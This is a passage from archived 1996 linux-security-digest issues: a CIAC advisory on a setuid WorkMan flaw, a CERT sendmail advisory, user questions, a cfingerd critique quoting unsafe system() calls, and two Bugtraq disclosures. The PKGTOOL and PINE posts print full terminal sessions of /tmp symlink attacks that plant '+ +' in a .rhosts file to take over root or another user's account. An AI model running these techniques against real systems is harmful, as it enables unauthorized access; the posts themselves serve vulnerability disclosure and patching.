FilterCantOpenTempFile3, "filter (%s): can't open temp file %s for reading!\n"), date_n_user(),filename); + setuid(euid); + setgid(egid); return(1); } + setuid(euid); + setgid(egid); while (fgets(buffer, sizeof(buffer), tempfd) != NULL) fputs(buffer, fd); ------------------------------ End of linux-security-digest V2 #60 *********************************** linux-security-digest/v02.n061100664 1767 1767 52036 6217300606 15445 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #61 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 16 September 1996 Volume 02 : Number 061 [linux-security] CIAC Bulletin G-42:Vulnerability in WorkMan Program [linux-security] [BUG] Vulnerability in PKGTOOL [linux-security] [BUG] Vulnerability in PINE ---------------------------------------------------------------------- From: Marcey Kelley Date: Mon, 2 Sep 1996 22:47:43 -0500 Subject: [linux-security] CIAC Bulletin G-42:Vulnerability in WorkMan Program [Mod: Forwarded from Bugtraq. --Jeff.] - -----BEGIN PGP SIGNED MESSAGE----- __________________________________________________________ The U.S. Department of Energy Computer Incident Advisory Capability ___ __ __ _ ___ / | /_\ / \___ __|__ / \ \___ __________________________________________________________ INFORMATION BULLETIN Vulnerability in WorkMan Program August 29, 1996 15:00 GMT Number G-42 ______________________________________________________________________________ PROBLEM: When the "WorkMan" compact disc playing program is installed set-user-id "root", it can be used to make any file on the system world-writable. PLATFORM: Linux, UNIX System V Release 4.0 (and derivatives). DAMAGE: A non-privileged user can use "WorkMan" to make any file on the system world-writable, and then modify that file's contents. This vulnerbility can allow the user to create accounts, destroy log files, and perform other unauthorized actions. SOLUTION: Apply the patches listed in the vendor bulletin below. ______________________________________________________________________________ VULNERABILITY This vulnerability is becoming widely known. ASSESSMENT: ______________________________________________________________________________ [Begin IBM Bulletin] - - - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-ERS-ALERT - - - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 28 August 1996 18:00 GMT Number: ERS-SVA-E01-1996:005.1 ============================================================================= VULNERABILITY SUMMARY VULNERABILITY: When the "WorkMan" compact disc playing program is installed set-user-id "root," it can be used to make any file on the system world-writable. PLATFORMS: Linux, UNIX System V Release 4.0 (and derivatives) SOLUTION: Remove the set-user-id bit from the "workman" program. THREAT: A non-privileged user can use "WorkMan" to make any file on the system world-writable, and then modify that file's contents. ============================================================================= DETAILED INFORMATION NOTE: This advisory is NOT a re-hash of the problem reported on several lists earlier this week by a group calling itself "r00t." The vulnerability described by "r00t" is essentially a subset of the problem described in this alert. I. Description "WorkMan" is a popular program used for playing audio compact disks on local workstation CD-ROM drives that is widely available from many sites around the Internet. Versions of "WorkMan" are also included with some operating system distributions, such as Linux. On systems where "WorkMan" was built and installed using the procedures that are given in "Makefile.linux" or "Makefile.svr4" (in general, this means on Linux systems and UNIX System V Release 4.0 systems), the "workman" program is installed set-user-id "root." This means that when the program is run, it will execute with super-user permissions. In order to allow signals to be sent to it, "WorkMan" writes its process-id to a file called "/tmp/.wm_pid." The "-p" option to the program allows the user to specify a different file name in which to record this information. When a file is specified with "-p", "WorkMan" simply attempts to create and/or truncate the file, and if this succeeds, "WorkMan" changes the permissions on the file so that it is world-readable and world-writable. In the general case, when "WorkMan" is installed without the set-user-id bit set, the normal file access permissions provided by the operating system will prevent users from creating or truncating files they are not authorized to create or truncate. However, when "WorkMan" is installed set-user-id "root," this process breaks down (because "root" is allowed to create/truncate any file). II. Impact A user executing a set-user-id "root" version of "WorkMan" can use the "-p" option to create a file anywhere in the file system, or to truncate any file in the file system. More importantly, the file specified with "-p" will be world-readable and world-writable when "WorkMan" is finished. This can enable the user to create accounts, destroy log files, and perform other unauthorized actions. III. Solutions "WorkMan" does not require the set-user-id bit to work; it is installed this way only on systems that do not make the CD-ROM device file world-readable by default. This vulnerability can be alleviated by: 1) Removing the set-user-id bit from the "WorkMan" program, via a command such as chmod u-s /usr/local/bin/workman and 2) Making the CD-ROM device world-readable, via a command such as chmod +r /dev/cdrom Note that on multi-user systems, part (2) of the above procedure will allow any user to access the contents of the disc installed in the CD-ROM; this may not be desirable in all environments. IV. Acknowledgements IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the IBM T. J. Watson Research Center for their discovery of this vulnerability, bringing it to our attention, providing the steps to fix it, and assistance in developing this alert. UNIX is a technology trademark of X/Open Company, Ltd. =============================================================================== [End IBM Bulletin] _______________________________________________________________________________ CIAC wishes to acknowledge the contributions of IBM for the information contained in this bulletin. _______________________________________________________________________________ CIAC, the Computer Incident Advisory Capability, is the computer security incident response team for the U.S. Department of Energy (DOE) and the emergency backup response team for the National Institutes of Health (NIH). CIAC is located at the Lawrence Livermore National Laboratory in Livermore, California. CIAC is also a founding member of FIRST, the Forum of Incident Response and Security Teams, a global organization established to foster cooperation and coordination among computer security teams worldwide. CIAC services are available to DOE, DOE contractors, and the NIH. CIAC can be contacted at: Voice: +1 510-422-8193 FAX: +1 510-423-8002 STU-III: +1 510-423-2604 E-mail: [email protected] For emergencies and off-hour assistance, DOE, DOE contractor sites, and the NIH may contact CIAC 24-hours a day. During off hours (5PM - 8AM PST), call the CIAC voice number 510-422-8193 and leave a message, or call 800-759-7243 (800-SKY-PAGE) to send a Sky Page. CIAC has two Sky Page PIN numbers, the primary PIN number, 8550070, is for the CIAC duty person, and the secondary PIN number, 8550074 is for the CIAC Project Leader. Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://ciac.llnl.gov/ Anonymous FTP: ciac.llnl.gov (128.115.19.53) Modem access: +1 (510) 423-4753 (28.8K baud) +1 (510) 423-3331 (28.8K baud) CIAC has several self-subscribing mailing lists for electronic publications: 1. CIAC-BULLETIN for Advisories, highest priority - time critical information and Bulletins, important computer security information; 2. CIAC-NOTES for Notes, a collection of computer security articles; 3. SPI-ANNOUNCE for official news about Security Profile Inspector (SPI) software updates, new features, distribution and availability; 4. SPI-NOTES, for discussion of problems and solutions regarding the use of SPI products. Our mailing lists are managed by a public domain software package called ListProcessor, which ignores E-mail header subject lines. To subscribe (add yourself) to one of our mailing lists, send the following request as the E-mail message body, substituting CIAC-BULLETIN, CIAC-NOTES, SPI-ANNOUNCE or SPI-NOTES for list-name and valid information for LastName FirstName and PhoneNumber when sending E-mail to [email protected]: subscribe list-name LastName, FirstName PhoneNumber e.g., subscribe ciac-notes OHara, Scarlett W. 404-555-1212 x36 You will receive an acknowledgment containing address, initial PIN, and information on how to change either of them, cancel your subscription, or get help. PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained by sending email to [email protected] with an empty subject line and a message body containing the line: send first-contacts. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) G-32: HP-UX Vulnerabilities in expreserve, rpc.pcnfsd, rpc.statd G-33: rdist vulnerability G-34: HP-UX Vulnerabilities (netttune, SAM remote admin) G-35: SUN Microsystems Solaris vold Vulnerability G-36: HP-UX Vulnerabilities in elm and rdist Programs G-37: Vulnerability in Adobe FrameMaker (fm_fls) G-38: Linux Vulnerabilities in mount and umount Programs G-39: Vulnerability in expreserve G-40: SGI admin and user Program Vulnerabilities G-41: Vulnerability in BASH Program RECENT CIAC NOTES ISSUED (Previous Notes available from CIAC) Notes 07 - 3/29/95 A comprehensive review of SATAN Notes 08 - 4/4/95 A Courtney update Notes 09 - 4/24/95 More on the "Good Times" virus urban legend Notes 10 - 6/16/95 PKZ300B Trojan, Logdaemon/FreeBSD, vulnerability in S/Key, EBOLA Virus Hoax, and Caibua Virus Notes 11 - 7/31/95 Virus Update, Hats Off to Administrators, America On-Line Virus Scare, SPI 3.2.2 Released, The Die_Hard Virus Notes 12 - 9/12/95 Securely configuring Public Telnet Services, X Windows, beta release of Merlin, Microsoft Word Macro Viruses, Allegations of Inappropriate Data Collection in Win95 Notes 96-01 - 3/18/96 Java and JavaScript Vulnerabilities, FIRST Conference Announcement, Security and Web Search Engines, Microsoft Word Macro Virus Update - -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition iQCVAgUBMicE47nzJzdsy3QZAQGRCQQAiA9WGkaF14qx8/7X3qvEicuv23dBgrlV siE/Jcq7yBMtuDCThMk9nDbDf1fGLUyysZ/MeeS9ybBpWJxzgWL2iXP9f0yBRtap siGX0ij+7LKrexR5nWBsdf7jZF34qaqU8xRlBHxbC7QiZIZD7SMtl9ZYBsflN8nP CFT0bTnpUOk= =PYbw - -----END PGP SIGNATURE----- ------------------------------ From: "Sean B. Hamor" Date: Mon, 26 Aug 1996 21:22:49 -0400 Subject: [linux-security] [BUG] Vulnerability in PKGTOOL [Mod: Forwarded from Bugtraq. --Jeff.] - -----BEGIN PGP SIGNED MESSAGE----- Monday, August 26, 1996 The Litterbox Sean B. Hamor PKGTOOL Note: I'm not sure whether or not information this has been previously released. I found this earlier this evening while poking around, and apologize if I've just found an old bug. I verified the existence of this bug in PKGTOOL for Linux Slackware 3.0. My assumption would be that most other Linux distributions are effected as well. Synopsis: A problem exists in the way PKGTOOL handles the /tmp/PKGTOOL.REMOVED logfile. This logfile is created mode 666, which allows any user to write to it. Although this file is usually created the first time PKGTOOL is run and can't be removed by normal users, a problem develops if root or the owner of the logfile deletes it for some reason or if PKGTOOL has never been run before. Exploit: If /tmp/PKGTOOL.REMOVED gets deleted or hasn't been created yet, any user can now create a symbolic link from /tmp/PKGTOOL.REMOVED to ~root/.rhosts (for a generic example). The next time PKGTOOL is run, which will more than likely be run by root, ~root/.rhosts will be created as a 666 file with the logs from PKGTOOL as its contents. One may now simply do an echo "+ +" > /tmp/PKGTOOL.REMOVED, then rm /tmp/PKGTOOL.REMOVED. For this example, root is the victim while hamors is the attacker: hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG - - -rw-rw-rw- 1 root root 16584 Aug 26 18:07 PKGTOOL.REMOVED.backup hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED cat: PKGTOOL.REMOVED: No such file or directory God (17 20:59) litterbox:~# pkgtool root now uses PKGTOOL to delete a package hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED Removing package tcl: Removing files: ... hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts + + Verification: This vulnerability has been tested on Linux Slackware 3.0 with the stock installed PKGTOOL. EOF Finger [email protected] /\_/\ mailto:[email protected] for PGP public key block. ( o.o ) http://www.ishiboo.com/~hamors/ alt.litterbox, The Home of TOCA > ^ < http://www.litterbox.org/~hamors/ Hi! I'm a .signature virus! Add me to your .signature and join in the fun! - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMiJN7zU6HlxZIJ+FAQE7NAf9E5P4vobbqztG9U/dlV85EveNOm0y5g8y YP+2IAgOp4kV1CPrNYgVPNLu06xwycrI/fYyF5EZNOvL/UEYYp+OvpRXk23Z7du9 6nQ7rzF7yPoo+mL5nauXTNQArRvYTHktXQejgApKQNr7XdzwRGL64Q/Y0NH+C9P+ AtxehPQk+7dXWMOX2jeFwkX11DQ9urU/SEWvoJEuv2qV4/aaIHBLrEGs4xkxHPzk xtPKJGb05qIoZ6kuibLnfE6rElIYbaDbYmXhX7hnzymPa8gPJv/J0UHuXBg0Qj2o D8+FeJC6ZMJL9V6/ERw4BfcaYwO5TGuVm5+Ui/9g1OZ9xrXppxNt9Q== =Ujhw - -----END PGP SIGNATURE----- ------------------------------ From: "Sean B. Hamor" Date: Mon, 26 Aug 1996 19:35:05 -0400 Subject: [linux-security] [BUG] Vulnerability in PINE [Mod: Forwarded from Bugtraq. --Jeff.] - -----BEGIN PGP SIGNED MESSAGE----- Monday, August 26, 1996 The Litterbox Sean B. Hamor Note: I'm not sure whether or not information this has been previously released. I found this earlier this evening while poking around, and apologize if I've just found an old bug. I verified the existence of this bug in PINE 3.91, however it had been fixed in 3.95. I don't know if 3.92, 3.93, or 3.94 are effected. Even though this bug has been fixed, I thought I'd still release this because many Linux installations still use PINE 3.91, and most machines I have accounts on still use PINE 3.91. Synopsis: A problem exists in PINE where the name used for the lockfile in /tmp/ is easily guessable. From various testing on a few machines, the name of the lockfile is static for each user who launches PINE. Note that the lockfile is only created when there is new mail in the user's INBOX. This wouldn't normally be a problem, however this lockfile is created mode 666 in /tmp/. The static lockfile name can be easily attained by doing an ls in /tmp/ when it has been determined that the user is running PINE and has new email. Exploit: By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting the respective lockfile. Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts (for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile. For this example, hamors is the victim while catluvr is the attacker: hamors (21 19:04) litterbox:~> pine catluvr (6 19:06) litterbox:~> ps -aux | grep pine catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors - - -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4 catluvr (8 19:07) litterbox:~> ps -aux | grep pine catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4 hamors (23 19:09) litterbox:~> pine catluvr (11 19:10) litterbox:~> ps -aux | grep pine catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4 catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4 + + catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4 catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors Verification: This vulnerability has been tested on the following platforms with the following versions of PINE: Linux Slackware 3.0 (1.2.13): PINE 3.91 FreeBSD 2.1.0-RELEASE: PINE 3.91 Problem has been fixed in PINE 3.95 under Linux Slackware 3.0 (1.2.13): Log entry: Aug 26 19:10:58 litterbox syslog: SECURITY PROBLEM: lock file /tmp/.302.f5a4 is a symbolic link User warning: [SECURITY ALERT: symbolic link on lock name!] [Can't open mailbox lock, access is readonly] EOF Finger [email protected] /\_/\ mailto:[email protected] for PGP public key block. ( o.o ) http://www.ishiboo.com/~hamors/ alt.litterbox, The Home of TOCA > ^ < http://www.litterbox.org/~hamors/ Hi! I'm a .signature virus! Add me to your .signature and join in the fun! - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMiI0rjU6HlxZIJ+FAQES9Qf/UYcqT/L9iEVwre6MS0Uokaw7npEqM8iZ zFZF5KLBGFOSCE36V+2VG2/7rhR24Q4J9A51VyaCC3kzQyS++wr5IqaBl9AGxpIG zSk2APmUnyi5NmUYoRnRIwFP8ptg15Bz3syxqsLegPYJdZW1r7DeA4rG47xi0lgG abNNfDta1PQYbxRh+C6yQ9ey6p31/o59CDackH/ene9brqqQXZBrt/fnn4SnNHiP EQyjcwkyTkFHkCQmfCmT1zJzlVfF6sj36der7boIsu9EAFsqpSwzI1/zZCvFgzoZ kpH4/srgo3tIFOcTFSoescJQE+wynwMK45Ab0VYjpPAvOBwqld6hyg== =hejk - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #61 *********************************** linux-security-digest/v02.n062100664 1767 1767 74045 6220245743 15456 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #62 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 19 September 1996 Volume 02 : Number 062 [linux-security] pgpsendmail [linux-security] Finger Doubt [linux-security] mount [linux-security] ADMIN: LSF Updates, new WWW and NEW ftp sites Re: [linux-security] Finger Doubt Re: [linux-security] mount [linux-security] CERT Advisory CA-96.20 - Sendmail Vulnerabilities ---------------------------------------------------------------------- From: CP Date: Tue, 17 Sep 1996 04:17:01 +0100 Subject: [linux-security] pgpsendmail Salve, Does anyone know how to make netscape pgpsendmail aware? Just installed the 1.4 and evrithing is fine not to say a cute package. But when sending with netscape pgpsendmail just doesn't gets it there is no log no nothing and the msg is just send. Thanks in Advance - -- Pluto ********************************************************************** P mailto:[email protected] P Free information! # G-> mailto:[email protected] <-G Freedom through knowledge. # P http://mindstar.inx.de P Wisdom for all!! =:-) # ********************************************************************** Netscapes lately anounced sunglasses: This beach is best viewed with netscape! But M$ lately anounced they'd bought the beach. ------------------------------ From: Administrador da Rede Date: Tue, 17 Sep 1996 17:12:25 -0300 Subject: [linux-security] Finger Doubt Hello There, Somedays ago, a certain person sent to our ISP a finger list;like a warning (See? I-can-see-your-finger-and-theres-nothing-you-can-do type stuff) I use the newest version of cfinger, setted to not allow general finger, just specific ones. Does anyone knows how this person did that ? I hope I can find out, otherwise, bye bye finger service. Marcelo ------------------------------ From: James Hamilton Date: Sun, 17 Sep 1995 13:02:15 -0500 Subject: [linux-security] mount We have a networked linux computer lab where we need to support users with floppies of different file system types. /etc/fstab looks like... ...some nfs stuff... /dev/fd0 /drivea msdos user,conv=auto /dev/fda /floppy ext2 user # where fda is exactly like fd0 (same major and minor #'s) when a user mounts a dos floppy on /drivea the directory perms & ownerships get changed to: drwx------ ... jch users .... /drivea which allows that user to read/write to the disk this doesn't happen when a user mounts an ext2fs... my question is... would it be insane to change the perms and ownership on the /floppy directory (where ext2's get mounted) to something like... drwxrwx--- ... root users ... /floppy (to allow the user to write to his/her own floppy without making it necessary that they be root...) and/or is there a better way to do this... thanks, jch note: we are using the debian fixed version of mount (that fixes the recent mount hole) on a slackware distribution. - -- "Life's a lot more fun when you're not responsible for your actions." -- Calvin "Computers are useless. They can only give you answers." -- Pablo Picasso - -----NOTHING MEANINGFUL FOLLOWS THIS LINE----- ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 17 Sep 1996 23:08:45 -0400 Subject: [linux-security] ADMIN: LSF Updates, new WWW and NEW ftp sites Hi All, A couple of people pointed out that LSF Update#13 contained several "broken URLs". They are fixed in version 1.2 of the update which is available at ftp://bach.cis.temple.edu/pub/Linux/Security/FAQ/updates. Work is being done on moving the primary location for Linux Security WWW to a different place - there will now be a dedicated system acting as a www/ftp server, plus there will be a person who will really maintain files/mirrors on the ftp site, which should significantly improve connectivity. Alex [REW: fixed a few typos.] ------------------------------ From: Janos Farkas Date: Wed, 18 Sep 1996 18:34:43 +0200 (MET DST) Subject: Re: [linux-security] Finger Doubt Howdy people! On Tue, 17 Sep 1996, Administrador da Rede wrote: > I use the newest version of cfinger, setted to not allow general finger, just > specific ones. Does anyone knows how this person did that ? I hope I can > find out, otherwise, bye bye finger service. Badly. I have sent the author a letter, but never got any reply back (it's 3 months later now!), so I just take the opportunity to warn the public against its use. Excerpts from the source (1.2.3, older versions have been a bit more directly broken, now it has root privs only at the moments it shouldn't have.) "This daemon must be run as root!" [And unfortunately, does..] ... unlink ("/tmp/fslist"); ... sprintf(st, "%s | tail +2 >> /tmp/fslist", prog_config.finger_program); ... system(st); A similarly terrible one some lines later: system("cat /tmp/fslist | sort > /tmp/fslist.sort"); As it stands, it can allow any local user to destroy any file on the system, including partition tables on disks. Please someone correct me if I am wrong, I tried this with cfingerd-1.2.2 and it allowed me to do bad things. I was a bit disappointed by the lack of any reply from the author, so I think I am now justified to tell that if anyone installed cfingerd (about 1.1 or later) on his system, disable it IMMEDIATELY, until at least the author clarifies this bug in a new version. The current version is BAD. However if you just need a finger daemon, you may take a look at xfingerd, at ftp://ftp.banki.hu:/pub/xfingerd/xfingerd-0.1.tar.gz which is the one I wrote when I got desperate about cfingerd. (If you take a look at its date stamp, you can see that cfingerd is long broken..) I too can't garantee that it's good for you, but it at least doesn't require to be run as root, which is why I started being against cfingerd. I hope this note finds everyone concerned. Janos ------------------------------ From: "Andrei D. Caraman" Date: Wed, 18 Sep 1996 18:12:59 +0300 (EET DST) Subject: Re: [linux-security] mount On Sun, 17 Sep 1995, James Hamilton wrote: > when a user mounts a dos floppy on /drivea the directory perms & > ownerships get changed to: > drwx------ ... jch users .... /drivea > which allows that user to read/write to the disk > this doesn't happen when a user mounts an ext2fs... > my question is... > would it be insane to change the perms and ownership on the /floppy > directory (where ext2's get mounted) > to something like... > drwxrwx--- ... root users ... /floppy > (to allow the user to write to his/her own floppy without making it > necessary that they be root...) > and/or is there a better way to do this... afaik, there is a better way: use fdmount/fdumount, which comes in the slackware 3.1 distribution. i don't know if it has the mount bug, but i do know it changes the owner of the mount-point [REW: trimmed quote on authors request.] hope this helps, - -- Andrei D. Caraman ROEDUNET ---- Bucharest Webmaster, hostmaster, ftpkeeper, sysadmin & many more [email protected] http://www.pub.ro/~xax/ - Geek code & PGP key available by WWW - ------------------------------ From: CERT Advisory Date: Wed, 18 Sep 1996 10:34:33 -0400 Subject: [linux-security] CERT Advisory CA-96.20 - Sendmail Vulnerabilities - -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.20 Original issue date: September 18, 1996 Last revised: -- Topic: Sendmail Vulnerabilities - - ----------------------------------------------------------------------------- *** This advisory supersedes CA-95:05 *** The CERT Coordination Center has received reports of two security problems in sendmail that affect all versions up to and including 8.7.5. By exploiting the first of these vulnerabilities, users who have local accounts can gain access to the default user, which is often daemon. By exploiting the second vulnerability, any local user can gain root access. The CERT/CC team recommends installing vendor patches or upgrading to the current version of sendmail (8.7.6). Until you can do so, we urge you to apply the workaround provided in Sec. III.C. In all cases, be sure to take the extra precautions listed in Sec. III.D. For beta testers of sendmail 8.8: The vulnerabilities described in this advisory have been fixed in the beta version. We will update this advisory as we receive additional information. Please check advisory files regularly for updates that relate to your site. In addition, you can check ftp://info.cert.org/pub/latest_sw_versions/sendmail to identify the most current version of sendmail. - - ----------------------------------------------------------------------------- I. Description There are two vulnerabilities in all versions of sendmail up to and including sendmail 8.7.5. The first vulnerability is a resource starvation problem and the second is a buffer overflow problem. Resource Starvation ------------------- When email is forwarded to a program using a .forward file or an :include: statement within a .forward or alias file, that program is executed as the owner of the .forward file or the file referenced by the :include: statement. Similarly, if email is forwarded to a file, that file is opened as the owner of the .forward file or the file referenced by the :include: statement. The file owner is called the "controlling user." If the message cannot be delivered immediately, the name of the controlling user is written into the queue file along with the other delivery information so that the appropriate permissions can be acquired when the mail queue is processed. Only the name of the controlling user is written in the queue file. This name is derived by calling the system routine getpwuid(3) on the user id of the file owner. If getpwuid fails, the sendmail default user (defined by the DefaultUser option in 8.7 and by the "u" and "g" options in older releases) is assumed. In some cases, the system can be forced into resource starvation, thus forcing getpwuid(3) to fail even though an entry exists in /etc/passwd corresponding to that uid. Since getpwuid has no way of portably returning an error meaning "resource failure" as distinct from "user id not found," sendmail has no way of distinguishing between these cases; it assumes that the uid is unknown and falls back to the default user. By starving sendmail of specific resources, sendmail will create files owned by the default user. Once created, these files can be used to access other files owned by the default user. In addition, these files owned by the default user can be used to leverage access to other privileged users on the system. Buffer Overflows ---------------- There are several buffer overflows present in sendmail version 8.7.5 and earlier. Some of the buffer overflows could result in local users gaining unauthorized root access. Significant work has been done on sendmail version 8.8 (now in beta test) to eliminate the problem, and the code changes originally planned for 8.8 have been backported to 8.7.6 to address these vulnerabilities. II. Impact Resource Starvation ------------------- Anyone with access to an account on the system can run programs or write files as the default user. The danger of compromising the default user depends primarily on the other files in your system owned by that user. For example, on many systems the line printer spool directory (e.g., /var/spool/lpd) is owned by daemon; because the line printer subsystem runs setuid root, it may be possible to gain additional privileges. However, some other systems have no files owned by user daemon on the default system, and the only files owned by group daemon are not writable by that group; hence, the danger is minimal. Buffer Overflows ---------------- Anyone with access to an account on the system can gain root access. III. Solution Install a patch from your vendor if one is available (Sec. A) or upgrade to the current version of sendmail (Sec. B). Until you can take one of those actions, we recommend applying the workaround described in Sec. C. This workaround addresses the resource starvation problem but not buffer overflows. In all cases, you should take the precautions listed in Sec. D. Note to beta testers of sendmail 8.8: The vulnerabilities described in this advisory have been fixed in the beta version of 8.8. A. Install a vendor patch. Below is a list of the vendors who have provided information about sendmail. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, please contact the vendor directly. Digital Equipment Corporation Hewlett-Packard Company IBM Corporation Linux Open Software Foundation The Santa Cruz Operation Silicon Graphics Inc. Sun Microsystems, Inc. B. Upgrade to the current version of sendmail. Install sendmail 8.7.6. This version is a "drop in" replacement for 8.7.x. There is no patch for 8.6.x. If you are using version 8.6 or earlier, you need to upgrade to the current version and rebuild your sendmail.cf files. Upgrading to version 8.7.6 addresses both vulnerabilities described in this advisory. Sendmail 8.7.6 is available from ftp://ftp.sendmail.org/ucb/src/sendmail/sendmail.8.7.6.tar.gz ftp://info.cert.org/pub/tools/sendmail/sendmail.8.7.6.tar.gz ftp://ftp.cert.dfn.de/pub/tools/net/sendmail/sendmail.8.7.6.tar.gz MD5 (sendmail.8.7.6.tar.gz) = 4a1f2179c53c9106bc8d7738f4d55667 Also in that directory are .Z and .sig files. The .Z file contains the same bits as the .gz file, but is compressed using UNIX compress instead of gzip. The .sig is Eric Allman's PGP signature for the uncompressed tar file. The key fingerprint is Type bits/keyID Date User ID pub 1024/BF7BA421 1995/02/23 Eric P. Allman Key fingerprint = C0 28 E6 7B 13 5B 29 02 6F 7E 43 3A 48 4F 45 29 Eric P. Allman Eric P. Allman Eric P. Allman Eric P. Allman We strongly recommend that when you change to a new version of sendmail you also change to the configuration files that are provided with that version. Significant work has been done to make this task easier. It is now possible to build a sendmail configuration file (sendmail.cf) using the configuration files provided with the sendmail release. Consult the cf/README file for a more complete explanation. Creating your configuration files using this method makes it easier to incorporate future changes to sendmail into your configuration files. Finally, for Sun users, a paper is available to help you convert your sendmail configuration files from the Sun version of sendmail to one that works with sendmail version 8.7.x. The paper is entitled "Converting Standard Sun Config Files to Sendmail Version 8" and was written by Rick McCarty of Texas Instruments Inc. It is included in the distribution and is located in contrib/converting.sun.configs. C. Apply a workaround. Resource Starvation ------------------- Eric Allman, the author of sendmail, has provided the following workaround to the resource starvation vulnerability. Using smrsh as "prog" mailer limits the programs that can be run as the default user. Smrsh does not limit the files that can be written, but less damage can be done by writing files directly. The damage can be almost entirely constrained by ensuring that the default user is an innocuous one. Sendmail defaults to 1:1 (daemon) only because that is reasonably portable. A special "mailnull" account that is used only for this purpose would be better. This user should own no files and should have neither a real home directory nor a real shell. A sample password entry might be: mailnull:*:32765:32765:Sendmail Default User:/no/such/dir:/dev/null A corresponding entry should be made in /etc/group: mailnull:*:32765: These assume that there are no other users or groups with id = 32765 on your system; if there are, pick some other unique value. After creating this user, change the line in /etc/sendmail.cf reading O DefaultUser=1:1 to read O DefaultUser=mailnull If you are running 8.6.*, you will have to change the lines reading Ou1 Og1 to read Ou32765 Og32765 Finally, if you are using the m4(1)-based sendmail configuration scheme provided with sendmail 8.7.*, you should add the following line to the m4 input file, usually named sendmail.mc: define(`confDEF_USER_ID', 32765:32765) The actual values should, of course, match those in the passwd file. Buffer Overflows ---------------- There is no workaround for the buffer overflow problem. To address this problem, you must apply your vendor's patches or upgrade to the current version of sendmail (version 8.7.6). D. Take additional precautions. Regardless of which solution you apply, you should take these extra precautions to protect your systems. * Use the sendmail restricted shell program (smrsh) With *all* versions of sendmail, use the sendmail restricted shell program (smrsh). You should do this whether you use vendor-supplied sendmail or install sendmail yourself. Using smrsh gives you improved administrative control over the programs sendmail executes on behalf of users. A number of sites have reported some confusion about the need to continue using the sendmail restricted shell program (smrsh) when they install a vendor patch or upgrade to a new version of sendmail. You should always use the smrsh program. smrsh is included in the sendmail distribution in the subdirectory smrsh. See the RELEASE_NOTES file for a description of how to integrate smrsh into your sendmail configuration file. smrsh is also distributed with some operating systems. * Use mail.local If you run /bin/mail based on BSD 4.3 UNIX, replace /bin/mail with mail.local, which is included in the sendmail distribution. It is also included with some other operating systems distributions, such as FreeBSD. Although the current version of mail.local is not a perfect solution, it is important to use it because it addresses vulnerabilities that are being exploited. For more details, see CERT advisory CA-95:02. Note that as of Solaris 2.5 and beyond, mail.local is included with the standard distribution. To use mail.local, replace all references to /bin/mail with /usr/lib/mail.local. If you are using the M4(1)-based configuration scheme provided with sendmail 8.X, add the following to your configuration file: define(`LOCAL_MAILER_PATH', /usr/lib/mail.local) * WARNING: Check for executable copies of old versions of mail programs If you leave executable copies of older versions of sendmail installed in /usr/lib (on some systems, it may be installed elsewhere), the 